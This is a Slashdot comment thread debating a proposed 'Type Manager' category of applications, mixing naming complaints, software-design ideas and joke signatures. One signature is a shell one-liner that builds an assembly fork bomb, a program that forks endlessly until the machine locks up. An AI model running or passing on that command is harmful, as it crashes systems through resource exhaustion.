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'Type Manager' The File Manager of Tomorrow?
IceFox writes "In the past few years many of us have been introduced to a new type of application, the Type Manager. Most of us are familiar with iTunes, but there are many other Type Managers out there that are gaining market share and a rabid fan base of users such as digiKam and amaroK. Type Managers seem to have that magic combinations of features that makes users love them. I have been taken a closer look at the Type Manager, what makes them so usefull, what they really provide for the user and came to some surprising results. After creating a list of all the traits of a Type Manager I was able to define exactly what a file manager should be and discovered that there are in fact many partial Type Managers out there now that implemented only half of what makes up a full Type Manager."
I hope I'm not the only one that had to wonder what iTunes and amaroK had to do with Adobe Type Manager and Suitcase.
Adobe Type Manager Light
Next time, check prior art before appropriating a phrase and giving it whatever meaning you feel like.
Not to mention, "Type Manager" is a terrible name for "application that manages files of some type".
New must-have! metadata!
Coming soon! The macintosh.
Excuse the Unicode crap in my posts. That's an apostrophe, and slashdot is busted.
Could he come up with a more generic and confusion-prone buzzword than 'Type Manager'?!
- For the complete works of Shakespeare: cat
The best (and only) way to deal with a mime is with a gun.
Be a real patriot: Question authority. Think for yourself. Formulate your own conclusions.
What's needed is a class library which speeds the creation of Type Managers. It should have a Document base class which applications could extend to contain document info, and a View base class which would abstract the user interface. Both would have base methods for all the common stuff, and you'd extend them with the specifics of what you're trying to do. There'd be Views derived classes based on common widgets, like dialogs and lists.
Additionally, there'd be a way for software components to register as viewers of file types in some global database, so that they could integrate with the default shell and display previews. They should also be able to open the type manager or print, perhaps integrating into shell's context menus.
Yup, welcome to Windows 95 with a bunch of MFC applications, COM components and the registry.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
You don't even need to use a real gun.
Microsoft Word is the "type manager" of doc files
.doc files.
No, Word is the "editor" of doc files, you see the difference? Windows Explorer is the current "type manager" of
It's not about the type of data being managed it's about ease of which you can share that data with other people
Good job, you saw the word "iTunes" and thought he was talking about music. In the article, the author concludes with further examples of what he's talking about, such as Valve's Steam (game manager), many MAME frontends (ROM manager), as well as others.
Yes, people love to share, but that's not the same thing as managing. I want to have all of my music categorized and tagged. I want all of my photos organized with captions and tags. I want all of my email properly filed and readily accessible. There is no way a file manager can properly manage all of those different file types (not even you, Emacs). Thus, the author seems to be suggesting that specialized file managers, each appropriate to the types of data it's designed for, are a better management interface than a simple file manager with applications to edit individual files.
As for your statements about sharing, I would argue that sharing is an example of exporting. Exporting, meanwhile, is something that happens in a management interface. I can export my songs to an audio, MP3, or data CD; my photos can be exported to CD, to Gallery, to Flickr, etc. I wouldn't want my file manager to handle all of those possible export options; it would be a mess (I'm looking at you, Konqueror).
It is about the data, stupid.